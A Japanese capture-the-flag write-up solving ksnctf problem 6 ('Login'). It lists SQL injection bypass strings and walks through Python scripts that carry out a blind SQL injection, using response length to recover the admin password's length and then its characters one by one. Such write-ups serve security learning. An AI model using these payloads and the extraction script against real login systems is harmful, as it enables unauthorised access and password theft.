ksnctf write-up #6
問題6 Login
https://ksnctf.sweetduet.info/problem/6
考察
- SQL インジェクションと推測
- ブラインドSQLインジェクションを試す
解法
- ユーザIDに入力
- IDに「' or 'a' = 'a' #」を入力 >> 不正解
- IDに「' or 1=1 --」を入力 >> 正解
- IDに「admin'--」を入力 >> 正解
Congratulations! It's too easy? Don't worry. The flag is admin's password.
- フラグは、adminのパスワード
- id='$id' AND pass='$pass'であることが判明
- IDに「' or SELECT * FROM user --」を試す >> 失敗
- IDに「' or SELECT pass FROM user WHERE id = 'admin' --」を試す >> 失敗
- ブラインドSQLインジェクション
- 挿入した SQL の応答の違いからデータベースの情報を盗み出す攻撃の方法
- ブラインドSQLインジェクションを試す
- ブルートフォース的なことをして、レスポンスの違いから判別していく
- ログインに成功・失敗した場合のレスポンスを確認
#! /usr/bin/python3 import requests url = "http://ctfq.u1tramarine.blue/q6/" def getcheck(password): # ログインに失敗する設定 payload = {'id':'admin', 'pass':password} r = requests.post(url,data=payload) print(len(r.text)) #print(r.text) if __name__=="__main__": password = 'pass' getcheck(password) # 488 password = "' or 1=1 --" getcheck(password) # 2237
- 成功・失敗でレスポンスのバイト数が異なることから判別要素とする
- パスワードの長さを調べる
- SQLインジェクションでパスワードの長さを確認する
- 本問題の場合「FLAG_」はお約束なので、5字以上は確定
- 最大何文字パスワードを確認する。
# パスワードの長さを確認するSQLインジェクション(1文字以上かどうか) ' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > 1 --
- さきほどのスクリプト処理に追加する
- とりあえず、パスワード文字列を最大30字で試してみる。
#! /usr/bin/python3 import requests url = "http://ctfq.u1tramarine.blue/q6/" def getPasswordLength(): for i in range(30): sql = "' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > {0} --".format(i) payload = {'id':'admin', 'pass':sql} r = requests.post(url,data=payload) print(i, len(r.text)) if __name__=="__main__": getPasswordLength() # 結果: 0 2167 省略 20 2167 21 565
- パスワード文字は「パスワードは 1 以上 21 以下である。」と判明
- 文字列を1文字ずつあっているかブルートフォース
- substring関数で文字を確認していく
SUBSTRING関数
# SQLServer or MySQL SUBSTRING([文字列], [切り取り開始地点], [切り取る文字数]); # Access → Mid・MidB # Oracle → SUBSTR・SUBSTRB # PostgreSQL → SUBSTR
i | Chr(i) |
48~57 | 0~9 |
60 | |
61 | = |
62 | > |
63 | ? |
64 | @ |
65~90 | A~Z |
91 | [ |
92 | \ |
93 | ] |
94 | ^ |
95 | _ |
96 | ` |
97~122 | a~z |
#! /usr/bin/python3 import requests url = "http://ctfq.u1tramarine.blue/q6/" def blind_sql_injection(): for i in range(22): for n in range(48, 122): c = chr(n) sql = "' or SUBSTR((SELECT pass FROM user WHERE id='admin'), {0}, 1) = '{1}' --".format(i, c) payload = {'id':'admin', 'pass':sql} r = requests.post(url,data=payload) #print(i,c, len(r.text)) #print(sql) if len(r.text) > 2000: print(c,end="") break if __name__=="__main__": blind_sql_injection() # 結果:FLAG_